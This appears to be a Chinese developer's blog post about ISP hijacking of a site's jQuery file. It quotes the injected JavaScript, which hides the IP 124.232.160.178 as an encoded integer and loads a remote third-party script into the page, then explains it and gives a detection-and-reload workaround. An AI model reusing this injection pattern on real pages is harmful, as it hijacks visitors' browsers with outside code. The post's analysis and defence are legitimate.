前言:一直以来有一个问题困扰着我,就是网页的js被人替换掉,然后造成自己辛辛苦苦写的代码,变成了bug代码,顾客又说点不动啦,无奈之下,自己也尝试过工信部投诉,但是投诉没多久,牛皮癣出来了,逼着我甚至把一些重要的需要外部jquery代码变成原生js代码,最近是公司的旺季,客服最近又接到好几个客户反应问题,为了暂时解决这个问题,就临时想了一个办法解决。
一、首先看一下我的js被替换成什么样子了。
上图是第1个jqeury被替换了,如果有多个外部js,那么每次大概有5分之1的概率被劫持1个随机的外部js。
!function(e, t, n, o, r, i, a, c){
c = function(e, t, n) {
for (t = e % 256, n = 3; 0 < n; n--) t = (e = Math.floor(e / 256)) % 256 + "." + t;
return t
}(2095620274),
(a = function(e){ r = t.createElement(n),i = t.getElementsByTagName(n)[0], r.src = "//" + e,
i.parentNode.insertBefore(r, i)
})(o + (0 < o.indexOf("?") ? "&": "?") + "_t" + (new Date).getTime() + "=0i"), a(c + "/v1/a/?u=3236477")
}(window, document, "script", "我的域名/static/help/js/jquery18min.js?t=23432423234");
上面是被替换的jquery的代码
解释:
外层自执行函数:
e = window
t = document
n = script
o = url //自己的js的地址
内部c函数 : 主方法主要根据e参数是生成ip地址,给第三个参数用
e = 2095620274 = ip地址:124.232.160.178
t = a = () 主要执行函数 //主要代码,在第一个script标签前面创建被劫持的url的script标签,有屁用。
n = t(n) 等于执行t方法,只是url参数被替换成了/v1/a/?u=3236477.
就是在生产了2个script的dom,其中一个是去请求带了时间戳的自己网站的被替换的js,第二个是创建劫持方的js。所以就有了上面的3个script标签。
问题:被劫持的js,采用这种方式生成的dom,会打乱加载顺序被,所以,经常出现页面无响应的问题。即xxx is undifiend,各种随机出现。(假如这个劫持代码用document.write()应该没问题。)
二、解决办法
在最后一个外部的js的标签处增加一个判断,如果被这个ip劫持了,(我们湖南地区被劫持都是这个ip,我回老家和在长沙都是它),就执行window.location.href = window.location.href
具体加的代码如下:
<script type="text/javascript">
function sfdianxinjiechi(){
var ss = document.getElementsByTagName("script");
var sfjc = false; //是否劫持
for (var i = 0; i < ss.length; i++) {
if(ss[i].src.indexOf("124.232.160.178/v1/a/")>0){
sfjc = true;
}
}
return sfjc;
};
if(sfdianxinjiechi()){
//最好再加上一段cookie计数的逻辑,比如一个1分钟的cookie的key值中,判断此情况刷新次数,设置个上限。
//如果不这样,万一每次都被劫持的话,那么直接页面无限刷了,直接被自己并发攻击了。。。
setTimeout(function(){
//alret("电信ip:124.232.160.178劫持你的网络,请打电话投诉!");
window.location.href = window.location.href;
},200);
};
</script>
结语: 期待运营商优化劫持的js代码,减少劫持的频率。